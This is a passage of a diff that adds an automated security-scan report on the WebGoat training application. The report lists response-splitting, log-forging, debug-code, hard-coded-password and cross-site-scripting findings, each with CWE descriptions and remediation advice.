+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
